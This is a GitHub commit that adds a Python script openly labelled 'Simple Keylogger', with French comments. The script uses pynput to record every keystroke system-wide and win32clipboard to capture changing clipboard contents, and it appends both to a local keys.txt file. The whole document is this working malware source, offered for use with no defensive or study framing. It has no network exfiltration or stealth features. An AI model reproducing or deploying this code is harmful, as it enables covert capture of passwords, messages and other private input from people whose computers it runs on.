Add files via upload

This commit is contained in:
ALittlePatate
2020-09-05 12:42:59 +02:00
committed by GitHub
parent bb20f2e945
commit 4b47b0b050

180
keylogger.py Normal file
View File

@@ -0,0 +1,180 @@
from pynput.keyboard import Key, Listener
import sys
import win32clipboard
import os
old_clipboard = " "
def get_clipboard() :
try :
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
return data
except :
return "0"
def write_banner() :
#On ouvre/créé le fichier keys.txt
with open("keys.txt", "a") as f :
#On écrit la bannière
f.write("\n")
f.write("#########################################\n")
f.write("# Simple Keylogger By ALittlePatate #\n")
f.write("#########################################\n")
f.close()
def write_file(key) :
#On ouvre/créé le fichier keys.txt
with open("keys.txt", "a") as f :
#On regarde si le presse-papier à changé en appelant la fonction get_clipboard()
global old_clipboard
if get_clipboard() != "0" and get_clipboard() != old_clipboard :
f.write("\n")
f.write("\n")
f.write("[+] New clipboard content ! [+]\n")
f.write(str(get_clipboard()))
f.write("\n")
f.write("[+] End of the new clipboard content. [+]\n")
f.write("\n")
old_clipboard = get_clipboard()
#On regarde si key est un chiffre du pavé numérique
if key == "<96>" :
f.write("0")
elif key == "<97>" :
f.write("1")
elif key == "<98>" :
f.write("2")
elif key == "<99>" :
f.write("3")
elif key == "<100>" :
f.write("4")
elif key == "<101>" :
f.write("5")
elif key == "<102>" :
f.write("6")
elif key == "<103>" :
f.write("7")
elif key == "<104>" :
f.write("8")
elif key == "<105>" :
f.write("9")
#On regarde si key est une combinaison avec CTRL
elif key == "\\x01" :
f.write("\n CTRL+A\n")
elif key == "\\x1a" :
f.write("\n CTRL+Z\n")
elif key == "\\x05" :
f.write("\n CTRL+E\n")
elif key == "\\x12" :
f.write("\n CTRL+R\n")
elif key == "\\x14" :
f.write("\n CTRL+T\n")
elif key == "\\x19" :
f.write("\n CTRL+Y\n")
elif key == "\\x15" :
f.write("\n CTRL+U\n")
elif key == "\\t" :
f.write("\n CTRL+I\n")
elif key == "\\x0f" :
f.write("\n CTRL+O\n")
elif key == "\\x10" :
f.write("\n CTRL+P\n")
elif key == "\\x11" :
f.write("\n CTRL+Q\n")
elif key == "\\x13" :
f.write("\n CTRL+S\n")
elif key == "\\x04" :
f.write("\n CTRL+D\n")
elif key == "\\x06" :
f.write("\n CTRL+F\n")
elif key == "\\x07" :
f.write("\n CTRL+G\n")
elif key == "\\x08" :
f.write("\n CTRL+H\n")
elif key == "\\n" :
f.write("\n CTRL+J\n")
elif key == "\\x0b" :
f.write("\n CTRL+K\n")
elif key == "\\x0c" :
f.write("\n CTRL+L\n")
elif key == "\\r" :
f.write("\n CTRL+M\n")
elif key == "\\x17" :
f.write("\n CTRL+W\n")
elif key == "\\x18" :
f.write("\n CTRL+X\n")
elif key == "\\x03" :
f.write("\n CTRL+C\n")
elif key == "\\x16" :
f.write("\n CTRL+V\n")
elif key == "\\x02" :
f.write("\n CTRL+B\n")
elif key == "\\x0e" :
f.write("\n CTRL+N\n")
#On regarde si key est un espace, un retour à la ligne ou ce genre de trucs
elif key == "Key.space" :
f.write(" ")
elif key == "Key.enter" :
f.write("\n")
elif key == "Key.backspace" :
f.write(" [BACKSPACE] ")
elif key == "Key.shift" or key == "Key.shift_r" :
pass
elif key == "Key.ctrl_l" or key == "Key.ctrl_r" :
pass
elif key == "Key.caps_lock" :
pass
elif key == "Key.num_lock" :
pass
elif key == "Key.alt_r" or key == "Key.alt_l" :
pass
elif key == "Key.tab" :
f.write("\n[TAB]\n")
elif key == "Key.up" :
f.write("\nUp\n")
elif key == "Key.down" :
f.write("\nDown\n")
elif key == "Key.left" :
f.write("\nLeft\n")
elif key == "Key.right" :
f.write("\nRight\n")
#On regarde si key est une touche qui doit être écrite en UTF-8
elif key in messed_up_keys :
f.write(str(key.encode('UTF-8')))
#Si aucun des tests ne sont positifs, on écrit la variable key dans le fichier keys.txt
else :
f.write(key)
def on_press(key) :
#On garde juste le nom de la touche, et on supprime les " " et les [ ]
key = str(key)
key = key.replace("'", "")
if key == '""' :
key = "'"
key = key.replace("[", "")
if key == "" :
key = "["
key = key.replace("]", "")
if key == "" :
key = "]"
print(key)
#On écrit la touche dans le fichier keys.txt
write_file(key)
#On fait la liste des caractères non supportés par windows
messed_up_keys = ["é", "è", "à", "°", "^", "¨", "£", "¤", "ù", "µ"]
#On écrit la bannière dans le fichier keys.txt
write_banner()
#On capture les appuis de touches
with Listener(on_press=on_press) as listener :
listener.join()